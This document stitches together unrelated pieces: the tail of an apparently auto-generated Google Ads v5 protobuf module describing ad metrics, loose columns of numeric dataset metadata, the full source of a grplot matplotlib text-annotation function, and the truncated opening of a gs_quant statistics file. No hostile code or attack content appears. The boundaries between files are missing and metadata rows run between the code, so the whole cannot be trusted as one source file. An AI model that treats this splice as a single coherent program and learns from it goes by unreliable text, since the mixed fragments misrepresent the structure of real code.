advertiser). The date/time is in the customer's time zone.
conversion_last_conversion_date:
The date of the most recent conversion for this conversion
action. The date is in the customer's time zone.
content_rank_lost_impression_share:
The estimated percentage of impressions on the Display Network
that your ads didn't receive due to poor Ad Rank. Note:
Content rank lost impression share is reported in the range of
0 to 0.9. Any value above 0.9 is reported as 0.9001.
conversions_from_interactions_rate:
Conversions from interactions divided by the number of ad
interactions (such as clicks for text ads or views for video
ads). This only includes conversion actions which
include\_in\_conversions\_metric attribute is set to true. If
you use conversion-based bidding, your bid strategies will
optimize for these conversions.
conversions_value:
The value of conversions. This only includes conversion
actions which include\_in\_conversions\_metric attribute is
set to true. If you use conversion-based bidding, your bid
strategies will optimize for these conversions.
conversions_value_per_cost:
The value of conversions divided by the cost of ad
interactions. This only includes conversion actions which
include\_in\_conversions\_metric attribute is set to true. If
you use conversion-based bidding, your bid strategies will
optimize for these conversions.
conversions_from_interactions_value_per_interaction:
The value of conversions from interactions divided by the
number of ad interactions. This only includes conversion
actions which include\_in\_conversions\_metric attribute is
set to true. If you use conversion-based bidding, your bid
strategies will optimize for these conversions.
conversions:
The number of conversions. This only includes conversion
actions which include\_in\_conversions\_metric attribute is
set to true. If you use conversion-based bidding, your bid
strategies will optimize for these conversions.
cost_micros:
The sum of your cost-per-click (CPC) and cost-per-thousand
impressions (CPM) costs during this period.
cost_per_all_conversions:
The cost of ad interactions divided by all conversions.
cost_per_conversion:
The cost of ad interactions divided by conversions. This only
includes conversion actions which
include\_in\_conversions\_metric attribute is set to true. If
you use conversion-based bidding, your bid strategies will
optimize for these conversions.
cost_per_current_model_attributed_conversion:
The cost of ad interactions divided by current model
attributed conversions. This only includes conversion actions
which include\_in\_conversions\_metric attribute is set to
true. If you use conversion-based bidding, your bid strategies
will optimize for these conversions.
cross_device_conversions:
Conversions from when a customer clicks on a Google Ads ad on
one device, then converts on a different device or browser.
Cross-device conversions are already included in
all\_conversions.
ctr:
The number of clicks your ad receives (Clicks) divided by the
number of times your ad is shown (Impressions).
current_model_attributed_conversions:
Shows how your historic conversions data would look under the
attribution model you've currently selected. This only
includes conversion actions which
include\_in\_conversions\_metric attribute is set to true. If
you use conversion-based bidding, your bid strategies will
optimize for these conversions.
current_model_attributed_conversions_from_interactions_rate:
Current model attributed conversions from interactions divided
by the number of ad interactions (such as clicks for text ads
or views for video ads). This only includes conversion actions
which include\_in\_conversions\_metric attribute is set to
true. If you use conversion-based bidding, your bid strategies
will optimize for these conversions.
current_model_attributed_conversions_from_interactions_value_per_interaction:
The value of current model attributed conversions from
interactions divided by the number of ad interactions. This
only includes conversion actions which
include\_in\_conversions\_metric attribute is set to true. If
you use conversion-based bidding, your bid strategies will
optimize for these conversions.
current_model_attributed_conversions_value:
The value of current model attributed conversions. This only
includes conversion actions which
include\_in\_conversions\_metric attribute is set to true. If
you use conversion-based bidding, your bid strategies will
optimize for these conversions.
current_model_attributed_conversions_value_per_cost:
The value of current model attributed conversions divided by
the cost of ad interactions. This only includes conversion
actions which include\_in\_conversions\_metric attribute is
set to true. If you use conversion-based bidding, your bid
strategies will optimize for these conversions.
engagement_rate:
How often people engage with your ad after it's shown to them.
This is the number of ad expansions divided by the number of
times your ad is shown.
engagements:
The number of engagements. An engagement occurs when a viewer
expands your Lightbox ad. Also, in the future, other ad types
may support engagement metrics.
hotel_average_lead_value_micros:
Average lead value based on clicks.
hotel_price_difference_percentage:
The average price difference between the price offered by
reporting hotel advertiser and the cheapest price offered by
the competing advertiser.
hotel_eligible_impressions:
The number of impressions that hotel partners could have had
given their feed performance.
historical_creative_quality_score:
The creative historical quality score.
historical_landing_page_quality_score:
The quality of historical landing page experience.
historical_quality_score:
The historical quality score.
historical_search_predicted_ctr:
The historical search predicted click through rate (CTR).
gmail_forwards:
The number of times the ad was forwarded to someone else as a
message.
gmail_saves:
The number of times someone has saved your Gmail ad to their
inbox as a message.
gmail_secondary_clicks:
The number of clicks to the landing page on the expanded state
of Gmail ads.
impressions_from_store_reach:
The number of times a store's location-based ad was shown.
This metric applies to feed items only.
impressions:
Count of how often your ad has appeared on a search results
page or website on the Google Network.
interaction_rate:
How often people interact with your ad after it is shown to
them. This is the number of interactions divided by the number
of times your ad is shown.
interactions:
The number of interactions. An interaction is the main user
action associated with an ad format-clicks for text and
shopping ads, views for video ads, and so on.
interaction_event_types:
The types of payable and free interactions.
invalid_click_rate:
The percentage of clicks filtered out of your total number of
clicks (filtered + non-filtered clicks) during the reporting
period.
invalid_clicks:
Number of clicks Google considers illegitimate and doesn't
charge you for.
message_chats:
Number of message chats initiated for Click To Message
impressions that were message tracking eligible.
message_impressions:
Number of Click To Message impressions that were message
tracking eligible.
message_chat_rate:
Number of message chats initiated (message\_chats) divided by
the number of message impressions (message\_impressions). Rate
at which a user initiates a message chat from an ad impression
with a messaging option and message tracking enabled. Note
that this rate can be more than 1.0 for a given message
impression.
mobile_friendly_clicks_percentage:
The percentage of mobile clicks that go to a mobile-friendly
page.
organic_clicks:
The number of times someone clicked your site's listing in the
unpaid results for a particular query. See the help page at
https://support.google.com/google-ads/answer/3097241 for
details.
organic_clicks_per_query:
The number of times someone clicked your site's listing in the
unpaid results (organic\_clicks) divided by the total number
of searches that returned pages from your site
(organic\_queries). See the help page at
https://support.google.com/google-ads/answer/3097241 for
details.
organic_impressions:
The number of listings for your site in the unpaid search
results. See the help page at
https://support.google.com/google-ads/answer/3097241 for
details.
organic_impressions_per_query:
The number of times a page from your site was listed in the
unpaid search results (organic\_impressions) divided by the
number of searches returning your site's listing in the unpaid
results (organic\_queries). See the help page at
https://support.google.com/google-ads/answer/3097241 for
details.
organic_queries:
The total number of searches that returned your site's listing
in the unpaid results. See the help page at
https://support.google.com/google-ads/answer/3097241 for
details.
percent_new_visitors:
Percentage of first-time sessions (from people who had never
visited your site before). Imported from Google Analytics.
phone_calls:
Number of offline phone calls.
phone_impressions:
Number of offline phone impressions.
phone_through_rate:
Number of phone calls received (phone\_calls) divided by the
number of times your phone number is shown
(phone\_impressions).
relative_ctr:
Your clickthrough rate (Ctr) divided by the average
clickthrough rate of all advertisers on the websites that show
your ads. Measures how your ads perform on Display Network
sites compared to other ads on the same sites.
search_absolute_top_impression_share:
The percentage of the customer's Shopping or Search ad
impressions that are shown in the most prominent Shopping
position. See https://support.google.com/google-
ads/answer/7501826 for details. Any value below 0.1 is
reported as 0.0999.
search_budget_lost_absolute_top_impression_share:
The number estimating how often your ad wasn't the very first
ad above the organic search results due to a low budget. Note:
Search budget lost absolute top impression share is reported
in the range of 0 to 0.9. Any value above 0.9 is reported as
0.9001.
search_budget_lost_impression_share:
The estimated percent of times that your ad was eligible to
show on the Search Network but didn't because your budget was
too low. Note: Search budget lost impression share is reported
in the range of 0 to 0.9. Any value above 0.9 is reported as
0.9001.
search_budget_lost_top_impression_share:
The number estimating how often your ad didn't show anywhere
above the organic search results due to a low budget. Note:
Search budget lost top impression share is reported in the
range of 0 to 0.9. Any value above 0.9 is reported as 0.9001.
search_click_share:
The number of clicks you've received on the Search Network
divided by the estimated number of clicks you were eligible to
receive. Note: Search click share is reported in the range of
0.1 to 1. Any value below 0.1 is reported as 0.0999.
search_exact_match_impression_share:
The impressions you've received divided by the estimated
number of impressions you were eligible to receive on the
Search Network for search terms that matched your keywords
exactly (or were close variants of your keyword), regardless
of your keyword match types. Note: Search exact match
impression share is reported in the range of 0.1 to 1. Any
value below 0.1 is reported as 0.0999.
search_impression_share:
The impressions you've received on the Search Network divided
by the estimated number of impressions you were eligible to
receive. Note: Search impression share is reported in the
range of 0.1 to 1. Any value below 0.1 is reported as 0.0999.
search_rank_lost_absolute_top_impression_share:
The number estimating how often your ad wasn't the very first
ad above the organic search results due to poor Ad Rank. Note:
Search rank lost absolute top impression share is reported in
the range of 0 to 0.9. Any value above 0.9 is reported as
0.9001.
search_rank_lost_impression_share:
The estimated percentage of impressions on the Search Network
that your ads didn't receive due to poor Ad Rank. Note: Search
rank lost impression share is reported in the range of 0 to
0.9. Any value above 0.9 is reported as 0.9001.
search_rank_lost_top_impression_share:
The number estimating how often your ad didn't show anywhere
above the organic search results due to poor Ad Rank. Note:
Search rank lost top impression share is reported in the range
of 0 to 0.9. Any value above 0.9 is reported as 0.9001.
search_top_impression_share:
The impressions you've received in the top location (anywhere
above the organic search results) compared to the estimated
number of impressions you were eligible to receive in the top
location. Note: Search top impression share is reported in the
range of 0.1 to 1. Any value below 0.1 is reported as 0.0999.
speed_score:
A measure of how quickly your page loads after clicks on your
mobile ads. The score is a range from 1 to 10, 10 being the
fastest.
top_impression_percentage:
The percent of your ad impressions that are shown anywhere
above the organic search results.
valid_accelerated_mobile_pages_clicks_percentage:
The percentage of ad clicks to Accelerated Mobile Pages (AMP)
landing pages that reach a valid AMP page.
value_per_all_conversions:
The value of all conversions divided by the number of all
conversions.
value_per_conversion:
The value of conversions divided by the number of conversions.
This only includes conversion actions which
include\_in\_conversions\_metric attribute is set to true. If
you use conversion-based bidding, your bid strategies will
optimize for these conversions.
value_per_current_model_attributed_conversion:
The value of current model attributed conversions divided by
the number of the conversions. This only includes conversion
actions which include\_in\_conversions\_metric attribute is
set to true. If you use conversion-based bidding, your bid
strategies will optimize for these conversions.
video_quartile_p100_rate:
Percentage of impressions where the viewer watched all of your
video.
video_quartile_p25_rate:
Percentage of impressions where the viewer watched 25% of your
video.
video_quartile_p50_rate:
Percentage of impressions where the viewer watched 50% of your
video.
video_quartile_p75_rate:
Percentage of impressions where the viewer watched 75% of your
video.
video_view_rate:
The number of views your TrueView video ad receives divided by
its number of impressions, including thumbnail impressions for
TrueView in-display ads.
video_views:
The number of times your video ads were viewed.
view_through_conversions:
The total number of view-through conversions. These happen
when a customer sees an image or rich media ad, then later
completes a conversion on your site without interacting with
(e.g., clicking on) another ad.
""",
# @@protoc_insertion_point(class_scope:google.ads.googleads.v5.common.Metrics)
})
_sym_db.RegisterMessage(Metrics)
DESCRIPTOR._options = None
# @@protoc_insertion_point(module_scope)
| 68.039835
| 13,041
| 0.780443
| 20,227
| 148,599
| 5.330054
| 0.052207
| 0.033021
| 0.058686
| 0.04378
| 0.870709
| 0.846018
| 0.812561
| 0.747438
| 0.699372
| 0.652271
| 0
| 0.033139
| 0.122948
| 148,599
| 2,183
| 13,042
| 68.071003
| 0.794083
| 0.001931
| 0
| 0.453284
| 1
| 0.006013
| 0.439021
| 0.265999
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.004625
| 0
| 0.004625
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
314e67267df45f972d0ce08a919093fa7585c106
| 28,592
|
py
|
Python
|
grplot/features/text/text_def.py
|
ghiffaryr/grplot
|
43ea08febac4ffecbce0a6a3d679850f5013aa28
|
[
"BSD-3-Clause"
] | null | null | null |
grplot/features/text/text_def.py
|
ghiffaryr/grplot
|
43ea08febac4ffecbce0a6a3d679850f5013aa28
|
[
"BSD-3-Clause"
] | null | null | null |
grplot/features/text/text_def.py
|
ghiffaryr/grplot
|
43ea08febac4ffecbce0a6a3d679850f5013aa28
|
[
"BSD-3-Clause"
] | null | null | null |
import numpy
from pandas.api.types import is_numeric_dtype
import matplotlib
from grplot.features.add.text_add.text_add_type import text_add_type
from grplot.features.sep.text_sep.text_sep_type import text_sep_type
def text_def(plot, df, ax, ci, hue, multiple, axis, text, sep, add, text_fontsize, naxislabel, axislabel, axes):
if plot in ['histplot', 'barplot', 'countplot', 'paretoplot']:
# check ci
if (ci is not None) or (multiple == 'fill') or ((hue is not None) and (multiple == 'stack')):
if 'o' in text:
text = text.replace('o','i')
elif 'h' in text:
text = 'h+i'
elif 'v' in text:
text = 'v+i'
else:
pass
else:
pass
# get patches height and width data
list_height = numpy.array([p.get_height() for p in ax.patches])
list_width = numpy.array([p.get_width() for p in ax.patches])
# get patches max and min height and width data
if list_height.size != 0:
max_height = max(list_height)
min_height = min(list_height)
else:
pass
if list_width.size != 0:
max_width = max(list_width)
min_width = min(list_width)
else:
pass
# numerical check for main axis of histplot, barplot, countplot, barplot in paretoplot
numeric = False
if axislabel in df:
if (is_numeric_dtype(df[axislabel]) == True) or (is_numeric_dtype(type(df[axislabel][0])) == True):
numeric = True
else:
pass
else: # axislabel not in df, special case as in histogram, barplot, etc.
if axislabel in ['Probability', 'Proportion', 'Density', 'Count', 'Frequency', 'Percent', 'count']:
numeric = True
else:
pass
# annotate for histplot, barplot, countplot, barplot in paretoplot
if (list_height.size != 0) and (list_width.size != 0) and (numeric == True):
if axis == 'x':
if text in ['h', 'h+o', 'o+h']:
for p in ax.patches:
left, bottom, width, height = p.get_bbox().bounds
if width != 0:
width_sep = text_sep_type(plot=plot, df=df, num=width, sep=sep, axislabel=axislabel, axes=axes)
width_add = text_add_type(plot=plot, num=width_sep, add=add, axislabel=axislabel, axes=axes)
if width > 0:
if text_fontsize is not None:
try:
ax.annotate((f'{width_add}'), xy=(width+max_width*0.0175*text_fontsize/10, bottom+height/2), ha='center', va='center', fontsize=text_fontsize, rotation=270)
except:
raise Exception('Unknown text fontsize argument!')
else:
ax.annotate((f'{width_add}'), xy=(width+max_width*0.0175, bottom+height/2), ha='center', va='center', rotation=270)
elif width < 0:
if text_fontsize is not None:
try:
ax.annotate((f'{width_add}'), xy=(width+min_width*0.0175*text_fontsize/10, bottom+height/2), ha='center', va='center', fontsize=text_fontsize, rotation=90)
except:
raise Exception('Unknown text fontsize argument!')
else:
ax.annotate((f'{width_add}'), xy=(width+min_width*0.0175, bottom+height/2), ha='center', va='center', rotation=90)
else:
pass
else:
pass
elif text in ['v', 'v+o', 'o+v']:
for p in ax.patches:
left, bottom, width, height = p.get_bbox().bounds
if width != 0:
width_sep = text_sep_type(plot=plot, df=df, num=width, sep=sep, axislabel=axislabel, axes=axes)
width_add = text_add_type(plot=plot, num=width_sep, add=add, axislabel=axislabel, axes=axes)
if width > 0:
if text_fontsize is not None:
try:
ax.annotate((f'{width_add}'), xy=(width+max_width*0.0175*text_fontsize/10, bottom+height/2), ha='left', va='center', fontsize=text_fontsize)
except:
raise Exception('Unknown text fontsize argument!')
else:
ax.annotate((f'{width_add}'), xy=(width+max_width*0.0175, bottom+height/2), ha='left', va='center')
elif width < 0:
if text_fontsize is not None:
try:
ax.annotate((f'{width_add}'), xy=(width+min_width*0.0175*text_fontsize/10, bottom+height/2), ha='right', va='center', fontsize=text_fontsize)
except:
raise Exception('Unknown text fontsize argument!')
else:
ax.annotate((f'{width_add}'), xy=(width+min_width*0.0175, bottom+height/2), ha='right', va='center')
else:
pass
else:
pass
elif text in ['i', 'i+v', 'v+i']:
for p in ax.patches:
left, bottom, width, height = p.get_bbox().bounds
if width != 0:
width_sep = text_sep_type(plot=plot, df=df, num=width, sep=sep, axislabel=axislabel, axes=axes)
width_add = text_add_type(plot=plot, num=width_sep, add=add, axislabel=axislabel, axes=axes)
if text_fontsize is not None:
try:
ax.annotate((f'{width_add}'), xy=(left+width/2, bottom+height/2), ha='center', va='center', fontsize=text_fontsize)
except:
raise Exception('Unknown text fontsize argument!')
else:
ax.annotate((f'{width_add}'), xy=(left+width/2, bottom+height/2), ha='center', va='center')
else:
pass
elif text in ['i+h', 'h+i']:
for p in ax.patches:
left, bottom, width, height = p.get_bbox().bounds
if width != 0:
width_sep = text_sep_type(plot=plot, df=df, num=width, sep=sep, axislabel=axislabel, axes=axes)
width_add = text_add_type(plot=plot, num=width_sep, add=add, axislabel=axislabel, axes=axes)
if width > 0:
if text_fontsize is not None:
try:
ax.annotate((f'{width_add}'), xy=(left+width/2, bottom+height/2), ha='center', va='center', fontsize=text_fontsize, rotation=270)
except:
raise Exception('Unknown text fontsize argument!')
else:
ax.annotate((f'{width_add}'), xy=(left+width/2, bottom+height/2), ha='center', va='center', rotation=270)
elif width < 0:
if text_fontsize is not None:
try:
ax.annotate((f'{width_add}'), xy=(left+width/2, bottom+height/2), ha='center', va='center', fontsize=text_fontsize, rotation=90)
except:
raise Exception('Unknown text fontsize argument!')
else:
ax.annotate((f'{width_add}'), xy=(left+width/2, bottom+height/2), ha='center', va='center', rotation=90)
else:
pass
else:
pass
else:
pass
elif axis == 'y':
if text in ['h', 'h+o', 'o+h']:
for p in ax.patches:
left, bottom, width, height = p.get_bbox().bounds
if height != 0:
height_sep = text_sep_type(plot=plot, df=df, num=height, sep=sep, axislabel=axislabel, axes=axes)
height_add = text_add_type(plot=plot, num=height_sep, add=add, axislabel=axislabel, axes=axes)
if height > 0:
if text_fontsize is not None:
try:
ax.annotate((f'{height_add}'), xy=(left+width/2, height+max_height*0.0325*text_fontsize/10), ha='center', va='center', fontsize=text_fontsize)
except:
raise Exception('Unknown text fontsize argument!')
else:
ax.annotate((f'{height_add}'), xy=(left+width/2, height+max_height*0.0325), ha='center', va='center')
elif height < 0:
if text_fontsize is not None:
try:
ax.annotate((f'{height_add}'), xy=(left+width/2, height+min_height*0.0325*text_fontsize/10), ha='center', va='center', fontsize=text_fontsize)
except:
raise Exception('Unknown text fontsize argument!')
else:
ax.annotate((f'{height_add}'), xy=(left+width/2, height+min_height*0.0325), ha='center', va='center')
else:
pass
else:
pass
elif text in ['v', 'v+o', 'o+v']:
for p in ax.patches:
left, bottom, width, height = p.get_bbox().bounds
if height != 0:
height_sep = text_sep_type(plot=plot, df=df, num=height, sep=sep, axislabel=axislabel, axes=axes)
height_add = text_add_type(plot=plot, num=height_sep, add=add, axislabel=axislabel, axes=axes)
if height > 0:
if text_fontsize is not None:
try:
ax.annotate((f'{height_add}'), xy=(left+width/2, height+max_height*0.0325*text_fontsize/10), ha='center', va='bottom', fontsize=text_fontsize, rotation=90)
except:
raise Exception('Unknown text fontsize argument!')
else:
ax.annotate((f'{height_add}'), xy=(left+width/2, height+max_height*0.0325), ha='center', va='bottom', rotation=90)
elif height < 0:
if text_fontsize is not None:
try:
ax.annotate((f'{height_add}'), xy=(left+width/2, height+min_height*0.0325*text_fontsize/10), ha='center', va='top', fontsize=text_fontsize, rotation=90)
except:
raise Exception('Unknown text fontsize argument!')
else:
ax.annotate((f'{height_add}'), xy=(left+width/2, height+min_height*0.0325), ha='center', va='top', rotation=90)
else:
pass
else:
pass
elif text in ['i', 'i+v', 'v+i']:
for p in ax.patches:
left, bottom, width, height = p.get_bbox().bounds
if height != 0:
height_sep = text_sep_type(plot=plot, df=df, num=height, sep=sep, axislabel=axislabel, axes=axes)
height_add = text_add_type(plot=plot, num=height_sep, add=add, axislabel=axislabel, axes=axes)
if text_fontsize is not None:
try:
ax.annotate((f'{height_add}'), xy=(left+width/2, bottom+height/2), ha='center', va='center', fontsize=text_fontsize, rotation=90)
except:
raise Exception('Unknown text fontsize argument!')
else:
ax.annotate((f'{height_add}'), xy=(left+width/2, bottom+height/2), ha='center', va='center', rotation=90)
else:
pass
elif text in ['i+h', 'h+i']:
for p in ax.patches:
left, bottom, width, height = p.get_bbox().bounds
if height != 0:
height_sep = text_sep_type(plot=plot, df=df, num=height, sep=sep, axislabel=axislabel, axes=axes)
height_add = text_add_type(plot=plot, num=height_sep, add=add, axislabel=axislabel, axes=axes)
if text_fontsize is not None:
try:
ax.annotate((f'{height_add}'), xy=(left+width/2, bottom+height/2), ha='center', va='center', fontsize=text_fontsize)
except:
raise Exception('Unknown text fontsize argument!')
else:
ax.annotate((f'{height_add}'), xy=(left+width/2, bottom+height/2), ha='center', va='center')
else:
pass
else:
pass
else:
raise Exception('Unsupported axis!')
else:
pass
# annotate for lineplot in paretoplot
if (plot == 'paretoplot') and (text in ['h', 'h+o', 'o+h', 'v', 'v+o', 'o+v', 'i', 'i+v', 'v+i', 'i+h', 'h+i']):
if axis == 'x':
for data in ax.get_shared_y_axes().get_siblings(ax)[0].get_lines():
x_arr, y_arr = data.get_data()
# check x_arr data type
if type(x_arr) == list:
x_arr = numpy.array(x_arr)
elif numpy.issubdtype(type(x_arr), numpy.ndarray) == False:
x_arr = numpy.array(x_arr)
else:
pass
# check y_arr data type
if type(y_arr) == list:
y_arr = numpy.array(y_arr)
elif numpy.issubdtype(type(y_arr), numpy.ndarray) == False:
y_arr = numpy.array(y_arr)
else:
pass
# get max x data points
if x_arr.size != 0:
max_x = max(x_arr)
else:
pass
if (x_arr.size != 0) and (y_arr.size != 0):
for x, y in zip(x_arr, y_arr):
# annotate
x_sep = text_sep_type(plot=plot, df=df, num=x, sep=sep, axislabel='Cumulative Percentage', axes=axes)
x_add = text_add_type(plot=plot, num=x_sep, add='_%', axislabel='Cumulative Percentage', axes=axes)
if text_fontsize is not None:
try:
ax.get_shared_y_axes().get_siblings(ax)[0].annotate(f'{x_add}', xy=(x-max_x*0.0325*text_fontsize/10, y), fontsize=text_fontsize, ha='right', va='center')
except:
raise Exception('Unknown text fontsize argument!')
else:
ax.get_shared_y_axes().get_siblings(ax)[0].annotate(f'{x_add}', xy=(x-max_x*0.0325, y), ha='right', va='center')
else:
pass
elif axis == 'y':
for data in ax.get_shared_x_axes().get_siblings(ax)[0].get_lines():
x_arr, y_arr = data.get_data()
# check x_arr data type
if type(x_arr) == list:
x_arr = numpy.array(x_arr)
elif numpy.issubdtype(type(x_arr), numpy.ndarray) == False:
x_arr = numpy.array(x_arr)
else:
pass
# check y_arr data type
if type(y_arr) == list:
y_arr = numpy.array(y_arr)
elif numpy.issubdtype(type(y_arr), numpy.ndarray) == False:
y_arr = numpy.array(y_arr)
else:
pass
# get max y data points
if y_arr.size != 0:
max_y = max(y_arr)
else:
pass
if (x_arr.size != 0) and (y_arr.size != 0):
for x, y in zip(x_arr, y_arr):
# annotate
y_sep = text_sep_type(plot=plot, df=df, num=y, sep=sep, axislabel='Cumulative Percentage', axes=axes)
y_add = text_add_type(plot=plot, num=y_sep, add='_%', axislabel='Cumulative Percentage', axes=axes)
if text_fontsize is not None:
try:
ax.get_shared_x_axes().get_siblings(ax)[0].annotate(f'{y_add}', xy=(x, y+max_y*0.0325*text_fontsize/10), fontsize=text_fontsize, ha='center', va='bottom')
except:
raise Exception('Unknown text fontsize argument!')
else:
ax.get_shared_x_axes().get_siblings(ax)[0].annotate(f'{y_add}', xy=(x, y+max_y*0.0325), ha='center', va='bottom')
else:
pass
else:
raise Exception('Unsupported axis!')
else:
pass
else:
pass
if (plot == 'scatterplot') and (text == True):
x_arr, y_arr = numpy.array([x for x, _ in ax.collections[0].get_offsets()]), numpy.array([y for _, y in ax.collections[0].get_offsets()])
# get max and min y data points
if y_arr.size != 0:
max_y = max(y_arr)
min_y = min(y_arr)
else:
pass
if (x_arr.size != 0) and (y_arr.size != 0):
for x, y in ax.collections[0].get_offsets():
# annotate
if axis == 'x':
x_sep = text_sep_type(plot=plot, df=df, num=x, sep=sep, axislabel=axislabel, axes=axes)
x_add = text_add_type(plot=plot, num=x_sep, add=add, axislabel=axislabel, axes=axes)
if y > 0:
if text_fontsize is not None:
try:
ax.annotate(f'{x_add}', xy=(x, y-max_y*0.0325*text_fontsize/10), fontsize=text_fontsize, ha='center', va='center')
except:
raise Exception('Unknown text fontsize argument!')
else:
ax.annotate(f'{x_add}', xy=(x, y-max_y*0.0325), ha='center', va='center')
elif y < 0:
if text_fontsize is not None:
try:
ax.annotate(f'{x_add}', xy=(x, y+min_y*0.0325*text_fontsize/10), fontsize=text_fontsize, ha='center', va='center')
except:
raise Exception('Unknown text fontsize argument!')
else:
ax.annotate(f'{x_add}', xy=(x, y+min_y*0.0325), ha='center', va='center')
else:
pass
elif axis == 'y':
y_sep = text_sep_type(plot=plot, df=df, num=y, sep=sep, axislabel=axislabel, axes=axes)
y_add = text_add_type(plot=plot, num=y_sep, add=add, axislabel=axislabel, axes=axes)
if y > 0:
if text_fontsize is not None:
try:
ax.annotate(f'{y_add}', xy=(x, y+max_y*0.03*text_fontsize/10), fontsize=text_fontsize, ha='center', va='center')
except:
raise Exception('Unknown text fontsize argument!')
else:
ax.annotate(f'{y_add}', xy=(x, y+max_y*0.03), ha='center', va='center')
elif y < 0:
if text_fontsize is not None:
try:
ax.annotate(f'{y_add}', xy=(x, y-min_y*0.03*text_fontsize/10), fontsize=text_fontsize, ha='center', va='center')
except:
raise Exception('Unknown text fontsize argument!')
else:
ax.annotate(f'{y_add}', xy=(x, y-min_y*0.03), ha='center', va='center')
else:
pass
else:
raise Exception('Unsupported axis!')
else:
pass
else:
pass
if (plot in ['lineplot', 'ecdfplot']) and (text == True):
for data in ax.get_lines():
x_arr, y_arr = data.get_data()
# check x_arr data type
if type(x_arr) == list:
x_arr = numpy.array(x_arr)
elif numpy.issubdtype(type(x_arr), numpy.ndarray) == False:
x_arr = numpy.array(x_arr)
else:
pass
# check y_arr data type
if type(y_arr) == list:
y_arr = numpy.array(y_arr)
elif numpy.issubdtype(type(y_arr), numpy.ndarray) == False:
y_arr = numpy.array(y_arr)
else:
pass
# get max and min y data points
if y_arr.size != 0:
max_y = max(y_arr)
min_y = min(y_arr)
else:
pass
if (x_arr.size != 0) and (y_arr.size != 0):
for x, y in zip(x_arr, y_arr):
# temporary bug fix for ecdfplot
if x == numpy.NINF:
x = 0
else:
pass
if y == numpy.NINF:
y = 0
else:
pass
# annotate
if axis == 'x':
x_sep = text_sep_type(plot=plot, df=df, num=x, sep=sep, axislabel=axislabel, axes=axes)
x_add = text_add_type(plot=plot, num=x_sep, add=add, axislabel=axislabel, axes=axes)
if y > 0:
if text_fontsize is not None:
try:
ax.annotate(f'{x_add}', xy=(x, y-max_y*0.0325*text_fontsize/10), fontsize=text_fontsize, ha='center', va='center')
except:
raise Exception('Unknown text fontsize argument!')
else:
ax.annotate(f'{x_add}', xy=(x, y-max_y*0.0325), ha='center', va='center')
elif y < 0:
if text_fontsize is not None:
try:
ax.annotate(f'{x_add}', xy=(x, y+min_y*0.0325*text_fontsize/10), fontsize=text_fontsize, ha='center', va='center')
except:
raise Exception('Unknown text fontsize argument!')
else:
ax.annotate(f'{x_add}', xy=(x, y+min_y*0.0325), ha='center', va='center')
else:
pass
elif axis == 'y':
y_sep = text_sep_type(plot=plot, df=df, num=y, sep=sep, axislabel=axislabel, axes=axes)
y_add = text_add_type(plot=plot, num=y_sep, add=add, axislabel=axislabel, axes=axes)
if y > 0:
if text_fontsize is not None:
try:
ax.annotate(f'{y_add}', xy=(x, y+max_y*0.03*text_fontsize/10), fontsize=text_fontsize, ha='center', va='center')
except:
raise Exception('Unknown text fontsize argument!')
else:
ax.annotate(f'{y_add}', xy=(x, y+max_y*0.03), ha='center', va='center')
elif y < 0:
if text_fontsize is not None:
try:
ax.annotate(f'{y_add}', xy=(x, y-min_y*0.03*text_fontsize/10), fontsize=text_fontsize, ha='center', va='center')
except:
raise Exception('Unknown text fontsize argument!')
else:
ax.annotate(f'{y_add}', xy=(x, y-max_y*0.03), ha='center', va='center')
else:
pass
else:
raise Exception('Unsupported axis!')
else:
pass
else:
pass
if (plot == 'pieplot') and (text == True):
for child in ax.get_children():
if isinstance(child, matplotlib.text.Text) and ('%' in child.get_text()):
num = float(child.get_text()[:-1])
text_sep = text_sep_type(plot=plot, df=df, num=num, sep=sep, axislabel=naxislabel, axes=axes)
text_add = text_add_type(plot=plot, num=text_sep, add='_%', axislabel=naxislabel, axes=axes)
child.set_text(f'{text_add}')
else:
pass
if isinstance(child, matplotlib.text.Text) and (text_fontsize is not None):
try:
child.set_fontsize(text_fontsize)
except:
raise Exception('Unknown text fontsize argument!')
else:
pass
else:
pass
if (plot in ['treemapsplot', 'packedbubblesplot']) and (text == True):
for child in ax.get_children():
if isinstance(child, matplotlib.text.Text) and (child.get_text().isdigit() == True):
num = int(child.get_text())
text_sep = text_sep_type(plot=plot, df=df, num=num, sep=sep, axislabel=naxislabel, axes=axes)
text_add = text_add_type(plot=plot, num=text_sep, add=add, axislabel=naxislabel, axes=axes)
child.set_text(f'{text_add}')
else:
pass
if isinstance(child, matplotlib.text.Text) and (text_fontsize is not None):
try:
child.set_fontsize(text_fontsize)
except:
raise Exception('Unknown text fontsize argument!')
else:
pass
else:
pass
return ax
| 57.995943
| 196
| 0.435751
| 3,077
| 28,592
| 3.908027
| 0.045174
| 0.093805
| 0.03842
| 0.045239
| 0.884906
| 0.871351
| 0.858961
| 0.844906
| 0.844906
| 0.83684
| 0
| 0.020849
| 0.45817
| 28,592
| 493
| 197
| 57.995943
| 0.755358
| 0.022454
| 0
| 0.817021
| 0
| 0
| 0.078774
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.002128
| false
| 0.110638
| 0.010638
| 0
| 0.014894
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 8
|
9ecfc10fd800b9e5c8ffd55da140915893795115
| 18,135
|
py
|
Python
|
gs_quant/analytics/processors/statistics_processors.py
|
skyquant2/gs-quant
|
b7e648fa7912b13ad1fd503b643389e34587aa1e
|
[
"Apache-2.0"
] | 1
|
2021-06-28T06:43:42.000Z
|
2021-06-28T06:43:42.000Z
|
gs_quant/analytics/processors/statistics_processors.py
|
skyquant2/gs-quant
|
b7e648fa7912b13ad1fd503b643389e34587aa1e
|
[
"Apache-2.0"
] | null | null | null |
gs_quant/analytics/processors/statistics_processors.py
|
skyquant2/gs-quant
|
b7e648fa7912b13ad1fd503b643389e34587aa1e
|
[
"Apache-2.0"
] | null | null | null |
"""
Copyright 2019 Goldman Sachs.
